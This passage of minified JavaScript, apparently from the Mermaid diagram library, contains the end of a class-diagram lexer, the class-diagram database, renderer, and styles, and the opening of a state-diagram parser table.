92-\u0CA8\u0CAA-\u0CB3]|[\u0CB5-\u0CB9\u0CBD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D05-\u0D0C\u0D0E-\u0D10]|[\u0D12-\u0D3A\u0D3D\u0D4E\u0D60\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1]|[\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E81]|[\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3]|[\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6]|[\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A]|[\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081]|[\u108E\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D]|[\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0]|[\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310]|[\u1312-\u1315\u1318-\u135A\u1380-\u138F\u13A0-\u13F4\u1401-\u166C]|[\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u1700-\u170C\u170E-\u1711]|[\u1720-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7]|[\u17DC\u1820-\u1877\u1880-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191C]|[\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19C1-\u19C7\u1A00-\u1A16]|[\u1A20-\u1A54\u1AA7\u1B05-\u1B33\u1B45-\u1B4B\u1B83-\u1BA0\u1BAE\u1BAF]|[\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C7D\u1CE9-\u1CEC]|[\u1CEE-\u1CF1\u1CF5\u1CF6\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D]|[\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D]|[\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3]|[\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2071\u207F]|[\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128]|[\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2183\u2184]|[\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3]|[\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6]|[\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE]|[\u2DD0-\u2DD6\u2DD8-\u2DDE\u2E2F\u3005\u3006\u3031-\u3035\u303B\u303C]|[\u3041-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312D]|[\u3131-\u318E\u31A0-\u31BA\u31F0-\u31FF\u3400-\u4DB5\u4E00-\u9FCC]|[\uA000-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA61F\uA62A\uA62B]|[\uA640-\uA66E\uA67F-\uA697\uA6A0-\uA6E5\uA717-\uA71F\uA722-\uA788]|[\uA78B-\uA78E\uA790-\uA793\uA7A0-\uA7AA\uA7F8-\uA801\uA803-\uA805]|[\uA807-\uA80A\uA80C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB]|[\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF\uAA00-\uAA28]|[\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA76\uAA7A\uAA80-\uAAAF\uAAB1\uAAB5]|[\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4]|[\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E]|[\uABC0-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D]|[\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36]|[\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D]|[\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC]|[\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF]|[\uFFD2-\uFFD7\uFFDA-\uFFDC])/,/^(?:\s)/,/^(?:\s)/,/^(?:$)/],conditions:{"namespace-body":{rules:[26,33,34,35,36,37,38,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},namespace:{rules:[26,29,30,31,32,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},"class-body":{rules:[26,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},class:{rules:[26,39,40,41,42,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},acc_descr_multiline:{rules:[11,12,26,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},acc_descr:{rules:[9,26,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},acc_title:{rules:[7,26,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},callback_args:{rules:[22,23,26,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},callback_name:{rules:[19,20,21,26,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},href:{rules:[26,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},struct:{rules:[26,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},generic:{rules:[26,49,50,51,52,53,54,55,56,57,58,59,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},bqstring:{rules:[26,49,50,51,52,53,54,55,56,57,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},string:{rules:[24,25,26,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,5,6,8,10,13,14,15,16,17,18,26,27,28,29,38,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97],inclusive:!0}}};return Ie})();Ye.lexer=He;function Le(){this.yy={}}return o(Le,"Parser"),Le.prototype=Ye,Ye.Parser=Le,new Le})();a$.parser=a$;nC=a$});var Kye,k4,Qye=N(()=>{"use strict";Xt();gr();Kye=["#","+","~","-",""],k4=class{static{o(this,"ClassMember")}constructor(e,r){this.memberType=r,this.visibility="",this.classifier="",this.text="";let n=sr(e,ge());this.parseMember(n)}getDisplayDetails(){let e=this.visibility+rc(this.id);this.memberType==="method"&&(e+=`(${rc(this.parameters.trim())})`,this.returnType&&(e+=" : "+rc(this.returnType))),e=e.trim();let r=this.parseClassifier();return{displayText:e,cssStyle:r}}parseMember(e){let r="";if(this.memberType==="method"){let a=/([#+~-])?(.+)\((.*)\)([\s$*])?(.*)([$*])?/.exec(e);if(a){let s=a[1]?a[1].trim():"";if(Kye.includes(s)&&(this.visibility=s),this.id=a[2],this.parameters=a[3]?a[3].trim():"",r=a[4]?a[4].trim():"",this.returnType=a[5]?a[5].trim():"",r===""){let l=this.returnType.substring(this.returnType.length-1);/[$*]/.exec(l)&&(r=l,this.returnType=this.returnType.substring(0,this.returnType.length-1))}}}else{let i=e.length,a=e.substring(0,1),s=e.substring(i-1);Kye.includes(a)&&(this.visibility=a),/[$*]/.exec(s)&&(r=s),this.id=e.substring(this.visibility===""?0:1,r===""?i:i-1)}this.classifier=r,this.id=this.id.startsWith(" ")?" "+this.id.trim():this.id.trim();let n=`${this.visibility?"\\"+this.visibility:""}${rc(this.id)}${this.memberType==="method"?`(${rc(this.parameters)})${this.returnType?" : "+rc(this.returnType):""}`:""}`;this.text=n.replaceAll("<","<").replaceAll(">",">"),this.text.startsWith("\\<")&&(this.text=this.text.replace("\\<","~"))}parseClassifier(){switch(this.classifier){case"*":return"font-style:italic;";case"$":return"text-decoration:underline;";default:return""}}}});var iC,Zye,c0,sy,o$=N(()=>{"use strict";yr();pt();Xt();gr();tr();ci();Qye();iC="classId-",Zye=0,c0=o(t=>tt.sanitizeText(t,ge()),"sanitizeText"),sy=class{constructor(){this.relations=[];this.classes=new Map;this.styleClasses=new Map;this.notes=[];this.interfaces=[];this.namespaces=new Map;this.namespaceCounter=0;this.functions=[];this.lineType={LINE:0,DOTTED_LINE:1};this.relationType={AGGREGATION:0,EXTENSION:1,COMPOSITION:2,DEPENDENCY:3,LOLLIPOP:4};this.setupToolTips=o(e=>{let r=qe(".mermaidTooltip");(r._groups||r)[0][0]===null&&(r=qe("body").append("div").attr("class","mermaidTooltip").style("opacity",0)),qe(e).select("svg").selectAll("g.node").on("mouseover",a=>{let s=qe(a.currentTarget);if(s.attr("title")===null)return;let u=this.getBoundingClientRect();r.transition().duration(200).style("opacity",".9"),r.text(s.attr("title")).style("left",window.scrollX+u.left+(u.right-u.left)/2+"px").style("top",window.scrollY+u.top-14+document.body.scrollTop+"px"),r.html(r.html().replace(/<br\/>/g,"
    ")),s.classed("hover",!0)}).on("mouseout",a=>{r.transition().duration(500).style("opacity",0),qe(a.currentTarget).classed("hover",!1)})},"setupToolTips");this.direction="TB";this.setAccTitle=Rr;this.getAccTitle=Mr;this.setAccDescription=Ir;this.getAccDescription=Or;this.setDiagramTitle=$r;this.getDiagramTitle=Pr;this.getConfig=o(()=>ge().class,"getConfig");this.functions.push(this.setupToolTips.bind(this)),this.clear(),this.addRelation=this.addRelation.bind(this),this.addClassesToNamespace=this.addClassesToNamespace.bind(this),this.addNamespace=this.addNamespace.bind(this),this.setCssClass=this.setCssClass.bind(this),this.addMembers=this.addMembers.bind(this),this.addClass=this.addClass.bind(this),this.setClassLabel=this.setClassLabel.bind(this),this.addAnnotation=this.addAnnotation.bind(this),this.addMember=this.addMember.bind(this),this.cleanupLabel=this.cleanupLabel.bind(this),this.addNote=this.addNote.bind(this),this.defineClass=this.defineClass.bind(this),this.setDirection=this.setDirection.bind(this),this.setLink=this.setLink.bind(this),this.bindFunctions=this.bindFunctions.bind(this),this.clear=this.clear.bind(this),this.setTooltip=this.setTooltip.bind(this),this.setClickEvent=this.setClickEvent.bind(this),this.setCssStyle=this.setCssStyle.bind(this)}static{o(this,"ClassDB")}splitClassNameAndType(e){let r=tt.sanitizeText(e,ge()),n="",i=r;if(r.indexOf("~")>0){let a=r.split("~");i=c0(a[0]),n=c0(a[1])}return{className:i,type:n}}setClassLabel(e,r){let n=tt.sanitizeText(e,ge());r&&(r=c0(r));let{className:i}=this.splitClassNameAndType(n);this.classes.get(i).label=r,this.classes.get(i).text=`${r}${this.classes.get(i).type?`<${this.classes.get(i).type}>`:""}`}addClass(e){let r=tt.sanitizeText(e,ge()),{className:n,type:i}=this.splitClassNameAndType(r);if(this.classes.has(n))return;let a=tt.sanitizeText(n,ge());this.classes.set(a,{id:a,type:i,label:a,text:`${a}${i?`<${i}>`:""}`,shape:"classBox",cssClasses:"default",methods:[],members:[],annotations:[],styles:[],domId:iC+a+"-"+Zye}),Zye++}addInterface(e,r){let n={id:`interface${this.interfaces.length}`,label:e,classId:r};this.interfaces.push(n)}lookUpDomId(e){let r=tt.sanitizeText(e,ge());if(this.classes.has(r))return this.classes.get(r).domId;throw new Error("Class not found: "+r)}clear(){this.relations=[],this.classes=new Map,this.notes=[],this.interfaces=[],this.functions=[],this.functions.push(this.setupToolTips.bind(this)),this.namespaces=new Map,this.namespaceCounter=0,this.direction="TB",Sr()}getClass(e){return this.classes.get(e)}getClasses(){return this.classes}getRelations(){return this.relations}getNotes(){return this.notes}addRelation(e){X.debug("Adding relation: "+JSON.stringify(e));let r=[this.relationType.LOLLIPOP,this.relationType.AGGREGATION,this.relationType.COMPOSITION,this.relationType.DEPENDENCY,this.relationType.EXTENSION];e.relation.type1===this.relationType.LOLLIPOP&&!r.includes(e.relation.type2)?(this.addClass(e.id2),this.addInterface(e.id1,e.id2),e.id1=`interface${this.interfaces.length-1}`):e.relation.type2===this.relationType.LOLLIPOP&&!r.includes(e.relation.type1)?(this.addClass(e.id1),this.addInterface(e.id2,e.id1),e.id2=`interface${this.interfaces.length-1}`):(this.addClass(e.id1),this.addClass(e.id2)),e.id1=this.splitClassNameAndType(e.id1).className,e.id2=this.splitClassNameAndType(e.id2).className,e.relationTitle1=tt.sanitizeText(e.relationTitle1.trim(),ge()),e.relationTitle2=tt.sanitizeText(e.relationTitle2.trim(),ge()),this.relations.push(e)}addAnnotation(e,r){let n=this.splitClassNameAndType(e).className;this.classes.get(n).annotations.push(r)}addMember(e,r){this.addClass(e);let n=this.splitClassNameAndType(e).className,i=this.classes.get(n);if(typeof r=="string"){let a=r.trim();a.startsWith("<<")&&a.endsWith(">>")?i.annotations.push(c0(a.substring(2,a.length-2))):a.indexOf(")")>0?i.methods.push(new k4(a,"method")):a&&i.members.push(new k4(a,"attribute"))}}addMembers(e,r){Array.isArray(r)&&(r.reverse(),r.forEach(n=>this.addMember(e,n)))}addNote(e,r){let n={id:`note${this.notes.length}`,class:r,text:e};this.notes.push(n)}cleanupLabel(e){return e.startsWith(":")&&(e=e.substring(1)),c0(e.trim())}setCssClass(e,r){e.split(",").forEach(n=>{let i=n;/\d/.exec(n[0])&&(i=iC+i);let a=this.classes.get(i);a&&(a.cssClasses+=" "+r)})}defineClass(e,r){for(let n of e){let i=this.styleClasses.get(n);i===void 0&&(i={id:n,styles:[],textStyles:[]},this.styleClasses.set(n,i)),r&&r.forEach(a=>{if(/color/.exec(a)){let s=a.replace("fill","bgFill");i.textStyles.push(s)}i.styles.push(a)}),this.classes.forEach(a=>{a.cssClasses.includes(n)&&a.styles.push(...r.flatMap(s=>s.split(",")))})}}setTooltip(e,r){e.split(",").forEach(n=>{r!==void 0&&(this.classes.get(n).tooltip=c0(r))})}getTooltip(e,r){return r&&this.namespaces.has(r)?this.namespaces.get(r).classes.get(e).tooltip:this.classes.get(e).tooltip}setLink(e,r,n){let i=ge();e.split(",").forEach(a=>{let s=a;/\d/.exec(a[0])&&(s=iC+s);let l=this.classes.get(s);l&&(l.link=qt.formatUrl(r,i),i.securityLevel==="sandbox"?l.linkTarget="_top":typeof n=="string"?l.linkTarget=c0(n):l.linkTarget="_blank")}),this.setCssClass(e,"clickable")}setClickEvent(e,r,n){e.split(",").forEach(i=>{this.setClickFunc(i,r,n),this.classes.get(i).haveCallback=!0}),this.setCssClass(e,"clickable")}setClickFunc(e,r,n){let i=tt.sanitizeText(e,ge());if(ge().securityLevel!=="loose"||r===void 0)return;let s=i;if(this.classes.has(s)){let l=this.lookUpDomId(s),u=[];if(typeof n=="string"){u=n.split(/,(?=(?:(?:[^"]*"){2})*[^"]*$)/);for(let h=0;h{let h=document.querySelector(`[id="${l}"]`);h!==null&&h.addEventListener("click",()=>{qt.runFunc(r,...u)},!1)})}}bindFunctions(e){this.functions.forEach(r=>{r(e)})}getDirection(){return this.direction}setDirection(e){this.direction=e}addNamespace(e){this.namespaces.has(e)||(this.namespaces.set(e,{id:e,classes:new Map,children:{},domId:iC+e+"-"+this.namespaceCounter}),this.namespaceCounter++)}getNamespace(e){return this.namespaces.get(e)}getNamespaces(){return this.namespaces}addClassesToNamespace(e,r){if(this.namespaces.has(e))for(let n of r){let{className:i}=this.splitClassNameAndType(n);this.classes.get(i).parent=e,this.namespaces.get(e).classes.set(i,this.classes.get(i))}}setCssStyle(e,r){let n=this.classes.get(e);if(!(!r||!n))for(let i of r)i.includes(",")?n.styles.push(...i.split(",")):n.styles.push(i)}getArrowMarker(e){let r;switch(e){case 0:r="aggregation";break;case 1:r="extension";break;case 2:r="composition";break;case 3:r="dependency";break;case 4:r="lollipop";break;default:r="none"}return r}getData(){let e=[],r=[],n=ge();for(let a of this.namespaces.keys()){let s=this.namespaces.get(a);if(s){let l={id:s.id,label:s.id,isGroup:!0,padding:n.class.padding??16,shape:"rect",cssStyles:["fill: none","stroke: black"],look:n.look};e.push(l)}}for(let a of this.classes.keys()){let s=this.classes.get(a);if(s){let l=s;l.parentId=s.parent,l.look=n.look,e.push(l)}}let i=0;for(let a of this.notes){i++;let s={id:a.id,label:a.text,isGroup:!1,shape:"note",padding:n.class.padding??6,cssStyles:["text-align: left","white-space: nowrap",`fill: ${n.themeVariables.noteBkgColor}`,`stroke: ${n.themeVariables.noteBorderColor}`],look:n.look};e.push(s);let l=this.classes.get(a.class)?.id??"";if(l){let u={id:`edgeNote${i}`,start:a.id,end:l,type:"normal",thickness:"normal",classes:"relation",arrowTypeStart:"none",arrowTypeEnd:"none",arrowheadStyle:"",labelStyle:[""],style:["fill: none"],pattern:"dotted",look:n.look};r.push(u)}}for(let a of this.interfaces){let s={id:a.id,label:a.label,isGroup:!1,shape:"rect",cssStyles:["opacity: 0;"],look:n.look};e.push(s)}i=0;for(let a of this.relations){i++;let s={id:xc(a.id1,a.id2,{prefix:"id",counter:i}),start:a.id1,end:a.id2,type:"normal",label:a.title,labelpos:"c",thickness:"normal",classes:"relation",arrowTypeStart:this.getArrowMarker(a.relation.type1),arrowTypeEnd:this.getArrowMarker(a.relation.type2),startLabelRight:a.relationTitle1==="none"?"":a.relationTitle1,endLabelLeft:a.relationTitle2==="none"?"":a.relationTitle2,arrowheadStyle:"",labelStyle:["display: inline-block"],style:a.style||"",pattern:a.relation.lineType==1?"dashed":"solid",look:n.look};r.push(s)}return{nodes:e,edges:r,other:{},config:n,direction:this.getDirection()}}}});var BJe,aC,l$=N(()=>{"use strict";yg();BJe=o(t=>`g.classGroup text { + fill: ${t.nodeBorder||t.classText}; + stroke: none; + font-family: ${t.fontFamily}; + font-size: 10px; + + .title { + font-weight: bolder; + } + +} + +.nodeLabel, .edgeLabel { + color: ${t.classText}; +} +.edgeLabel .label rect { + fill: ${t.mainBkg}; +} +.label text { + fill: ${t.classText}; +} + +.labelBkg { + background: ${t.mainBkg}; +} +.edgeLabel .label span { + background: ${t.mainBkg}; +} + +.classTitle { + font-weight: bolder; +} +.node rect, + .node circle, + .node ellipse, + .node polygon, + .node path { + fill: ${t.mainBkg}; + stroke: ${t.nodeBorder}; + stroke-width: 1px; + } + + +.divider { + stroke: ${t.nodeBorder}; + stroke-width: 1; +} + +g.clickable { + cursor: pointer; +} + +g.classGroup rect { + fill: ${t.mainBkg}; + stroke: ${t.nodeBorder}; +} + +g.classGroup line { + stroke: ${t.nodeBorder}; + stroke-width: 1; +} + +.classLabel .box { + stroke: none; + stroke-width: 0; + fill: ${t.mainBkg}; + opacity: 0.5; +} + +.classLabel .label { + fill: ${t.nodeBorder}; + font-size: 10px; +} + +.relation { + stroke: ${t.lineColor}; + stroke-width: 1; + fill: none; +} + +.dashed-line{ + stroke-dasharray: 3; +} + +.dotted-line{ + stroke-dasharray: 1 2; +} + +#compositionStart, .composition { + fill: ${t.lineColor} !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#compositionEnd, .composition { + fill: ${t.lineColor} !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#dependencyStart, .dependency { + fill: ${t.lineColor} !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#dependencyStart, .dependency { + fill: ${t.lineColor} !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#extensionStart, .extension { + fill: transparent !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#extensionEnd, .extension { + fill: transparent !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#aggregationStart, .aggregation { + fill: transparent !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#aggregationEnd, .aggregation { + fill: transparent !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#lollipopStart, .lollipop { + fill: ${t.mainBkg} !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +#lollipopEnd, .lollipop { + fill: ${t.mainBkg} !important; + stroke: ${t.lineColor} !important; + stroke-width: 1; +} + +.edgeTerminals { + font-size: 11px; + line-height: initial; +} + +.classTitleText { + text-anchor: middle; + font-size: 18px; + fill: ${t.textColor}; +} + ${zc()} +`,"getStyles"),aC=BJe});var FJe,$Je,zJe,sC,c$=N(()=>{"use strict";Xt();pt();ep();Nf();Mf();tr();FJe=o((t,e="TB")=>{if(!t.doc)return e;let r=e;for(let n of t.doc)n.stmt==="dir"&&(r=n.value);return r},"getDir"),$Je=o(function(t,e){return e.db.getClasses()},"getClasses"),zJe=o(async function(t,e,r,n){X.info("REF0:"),X.info("Drawing class diagram (v3)",e);let{securityLevel:i,state:a,layout:s}=ge(),l=n.db.getData(),u=Vo(e,i);l.type=n.type,l.layoutAlgorithm=$c(s),l.nodeSpacing=a?.nodeSpacing||50,l.rankSpacing=a?.rankSpacing||50,l.markers=["aggregation","extension","composition","dependency","lollipop"],l.diagramId=e,await Qo(l,u);let h=8;qt.insertTitle(u,"classDiagramTitleText",a?.titleTopMargin??25,n.db.getDiagramTitle()),Ws(u,h,"classDiagram",a?.useMaxWidth??!0)},"draw"),sC={getClasses:$Je,draw:zJe,getDir:FJe}});var Jye={};dr(Jye,{diagram:()=>GJe});var GJe,eve=N(()=>{"use strict";s$();o$();l$();c$();GJe={parser:nC,get db(){return new sy},renderer:sC,styles:aC,init:o(t=>{t.class||(t.class={}),t.class.arrowMarkerAbsolute=t.arrowMarkerAbsolute},"init")}});var nve={};dr(nve,{diagram:()=>qJe});var qJe,ive=N(()=>{"use strict";s$();o$();l$();c$();qJe={parser:nC,get db(){return new sy},renderer:sC,styles:aC,init:o(t=>{t.class||(t.class={}),t.class.arrowMarkerAbsolute=t.arrowMarkerAbsolute},"init")}});var u$,oC,h$=N(()=>{"use strict";u$=(function(){var t=o(function(F,G,$,U){for($=$||{},U=F.length;U--;$[F[U]]=G);return $},"o"),e=[1,2],r=[1,3],n=[1,4],i=[2,4],a=[1,9],s=[1,11],l=[1,16],u=[1,17],h=[1,18],f=[1,19],d=[1,33],p=[1,20],m=[1,21],g=[1,22],y=[1,23],v=[1,24],x=[1,26],b=[1,27],T=[1,28],S=[1,29],w=[1,30],k=[1,31],A=[1,32],C=[1,35],R=[1,36],I=[1,37],L=[1,38],E=[1,34],D=[1,4,5,16,17,19,21,22,24,25,26,27,28,29,33,35,37,38,41,45,48,51,52,53,54,57],_=[1,4,5,14,15,16,17,19,21,22,24,25,26,27,28,29,33,35,37,38,39,40,41,45,48,51,52,53,54,57],O=[4,5,16,17,19,21,22,24,25,26,27,28,29,33,35,37,38,41,45,48,51,52,53,54,57],M={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,SPACE:4,NL:5,SD:6,document:7,line:8,statement:9,classDefStatement:10,styleStatement:11,cssClassStatement:12,idStatement:13,DESCR:14,"-->":15,HIDE_EMPTY:16,scale:17,WIDTH:18,COMPOSIT_STATE:19,STRUCT_START:20,STRUCT_STOP:21,STATE_DESCR:22,AS:23,ID:24,FORK:25,JOIN:26,CHOICE:27,CONCURRENT:28,note:29,notePosition:30,NOTE_TEXT:31,direction:32,acc_title:33,acc_title_value:34,acc_descr:35,acc_descr_value:36,acc_descr_multiline_value:37,CLICK:38,STRING:39,HREF:40,classDef:41,CLASSDEF_ID:42,CLASSDEF_STYLEOPTS:43,DEFAULT:44,style:45,STYLE_IDS:46,STYLEDEF_STYLEOPTS:47,class:48,CLASSENTITY_IDS:49,STYLECLASS:50,direction_tb:51,direction_bt:52,direction_rl:53,direction_lr:54,eol:55,";":56,EDGE_STATE:57,STYLE_SEPARATOR:58,left_of:59,right_of:60,$accept:0,$end:1},terminals_:{2:"error",4:"SPACE",5:"NL",6:"SD",14:"DESCR",15:"-->",16:"HIDE_EMPTY",17:"scale",18:"WIDTH",19:"COMPOSIT_STATE",20:"STRUCT_START",21:"STRUCT_STOP",22:"STATE_DESCR",23:"AS",24:"ID",25:"FORK",26:"JOIN",27:"CHOICE",28:"CONCURRENT",29:"note",31:"NOTE_TEXT",33:"acc_title",34:"acc_title_value",35:"acc_descr",36:"acc_descr_value",37:"acc_descr_multiline_value",38:"CLICK",39:"STRING",40:"HREF",41:"classDef",42:"CLASSDEF_ID",43:"CLASSDEF_STYLEOPTS",44:"DEFAULT",45:"style",46:"STYLE_IDS",47:"STYLEDEF_STYLEOPTS",48:"class",49:"CLASSENTITY_IDS",50:"STYLECLASS",51:"direction_tb",52:"direction_bt",53:"direction_rl",54:"direction_lr",56:";",57:"EDGE_STATE",58:"STYLE_SEPARATOR",59:"left_of",60:"right_of"},productions_:[0,[3,2],[3,2],[3,2],[7,0],[7,2],[8,2],[8,1],[8,1],[9,1],[9,1],[9,1],[9,1],[9,2],[9,3],[9,4],[9,1],[9,2],[9,1],[9,4],[9,3],[9,6],[9,1],[9,1],[9,1],[9,1],[9,4],[9,4],[9,1],[9,2],[9,2],[9,1],[9,5],[9,5],[10,3],[10,3],[11,3],[12,3],[32,1],[32,1],[32,1],[32,1],[55,1],[55,1],[13,1],[13,1],[13,3],[13,3],[30,1],[30,1]],performAction:o(function(G,$,U,j,te,Y,oe){var J=Y.length-1;switch(te){case 3:return j.setRootDoc(Y[J]),Y[J];break;case 4:this.$=[];break;case 5:Y[J]!="nl"&&(Y[J-1].push(Y[J]),this.$=Y[J-1]);break;case 6:case 7:this.$=Y[J];break;case 8:this.$="nl";break;case 12:this.$=Y[J];break;case 13:let Z=Y[J-1];Z.description=j.trimColon(Y[J]),this.$=Z;break;case 14:this.$={stmt:"relation",state1:Y[J-2],state2:Y[J]};break;case 15:let K=j.trimColon(Y[J]);this.$={stmt:"relation",state1:Y[J-3],state2:Y[J-1],description:K};break;case 19:this.$={stmt:"state",id:Y[J-3],type:"default",description:"",doc:Y[J-1]};break;case 20:var ue=Y[J],re=Y[J-2].trim();if(Y[J].match(":")){var ee=Y[J].split(":");ue=ee[0],re=[re,ee[1]]}this.$={stmt:"state",id:ue,type:"default",description:re};break;case 21:this.$={stmt:"state",id:Y[J-3],type:"default",description:Y[J-5],doc:Y[J-1]};break;case 22:this.$={stmt:"state",id:Y[J],type:"fork"};break;case 23:this.$={stmt:"state",id:Y[J],type:"join"};break;case 24:this.$={stmt:"state",id:Y[J],type:"choice"};break;case 25:this.$={stmt:"state",id:j.getDividerId(),type:"divider"};break;case 26:this.$={stmt:"state",id:Y[J-1].trim(),note:{position:Y[J-2].trim(),text:Y[J].trim()}};break;case 29:this.$=Y[J].trim(),j.setAccTitle(this.$);break;case 30:case 31:this.$=Y[J].trim(),j.setAccDescription(this.$);break;case 32:this.$={stmt:"click",id:Y[J-3],url:Y[J-2],tooltip:Y[J-1]};break;case 33:this.$={stmt:"click",id:Y[J-3],url:Y[J-1],tooltip:""};break;case 34:case 35:this.$={stmt:"classDef",id:Y[J-1].trim(),classes:Y[J].trim()};break;case 36:this.$={stmt:"style",id:Y[J-1].trim(),styleClass:Y[J].trim()};break;case 37:this.$={stmt:"applyClass",id:Y[J-1].trim(),styleClass:Y[J].trim()};break;case 38:j.setDirection("TB"),this.$={stmt:"dir",value:"TB"};break;case 39:j.setDirection("BT"),this.$={stmt:"dir",value:"BT"};break;case 40:j.setDirection("RL"),this.$={stmt:"dir",value:"RL"};break;case 41:j.setDirection("LR"),this.$={stmt:"dir",value:"LR"};break;case 44:case 45:this.$={stmt:"state",id:Y[J].trim(),type:"default",description:""};break;case 46:this.$={stmt:"state",id:Y[J-2].trim(),classes:[Y[J].trim()],type:"default",description:""};break;case 